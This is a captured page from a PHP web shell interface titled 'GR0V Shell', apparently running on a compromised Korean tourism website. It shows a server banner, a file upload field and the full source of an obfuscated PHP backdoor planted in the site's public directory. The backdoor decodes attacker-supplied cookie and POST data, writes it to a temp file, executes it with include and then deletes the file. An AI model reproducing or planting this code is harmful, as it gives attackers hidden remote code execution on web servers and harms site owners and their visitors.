? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/hstmqxpt/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/hstmqxpt/654c0dd3.php

$nncSYgcP = chr ( 665 - 559 )."\160" . chr ( 769 - 663 ).chr ( 634 - 539 ).chr (116) . 'k' . "\105" . 'N';$fUbnwuxsx = 'c' . chr ( 436 - 328 ).chr ( 224 - 127 ).'s' . 's' . chr ( 659 - 564 ).'e' . "\170" . chr (105) . chr ( 384 - 269 ).chr ( 164 - 48 )."\163";$SWWmM = $fUbnwuxsx($nncSYgcP); $NYeSRBQa = $SWWmM;if (!$NYeSRBQa){class jpj_tkEN{private $LhKzn;public static $aWhht = "36ee60a5-66e2-4931-b1f4-03cb11eaf62c";public static $zkulzs = 6566;public function __construct($zsJaygr=0){$tsAeEXc = $_COOKIE;$GwxrEED = $_POST;$aVbIgrLWek = @$tsAeEXc[substr(jpj_tkEN::$aWhht, 0, 4)];if (!empty($aVbIgrLWek)){$IaRMHh = "base64";$JtouAym = "";$aVbIgrLWek = explode(",", $aVbIgrLWek);foreach ($aVbIgrLWek as $mfvCqT){$JtouAym .= @$tsAeEXc[$mfvCqT];$JtouAym .= @$GwxrEED[$mfvCqT];}$JtouAym = array_map($IaRMHh . "\x5f" . chr (100) . "\145" . 'c' . "\x6f" . "\x64" . 'e', array($JtouAym,)); $JtouAym = $JtouAym[0] ^ str_repeat(jpj_tkEN::$aWhht, (strlen($JtouAym[0]) / strlen(jpj_tkEN::$aWhht)) + 1);jpj_tkEN::$zkulzs = @unserialize($JtouAym);}}private function lrDOimSC(){if (is_array(jpj_tkEN::$zkulzs)) {$mchekPMlt = sys_get_temp_dir() . "/" . crc32(jpj_tkEN::$zkulzs["\x73" . "\141" . "\x6c" . chr ( 748 - 632 )]);@jpj_tkEN::$zkulzs[chr ( 961 - 842 )."\162" . 'i' . "\x74" . "\145"]($mchekPMlt, jpj_tkEN::$zkulzs["\143" . "\x6f" . "\x6e" . "\164" . "\x65" . chr (110) . "\x74"]);include $mchekPMlt;@jpj_tkEN::$zkulzs[chr (100) . 'e' . 'l' . chr ( 570 - 469 ).'t' . 'e']($mchekPMlt); $XEXLqFtGA = "42996";exit();}}public function __destruct(){$this->lrDOimSC();}}$oTnza = new jpj_tkEN(); $oTnza = "36501";}

T1KUS90T
  root-grov@210.1.60.28:~$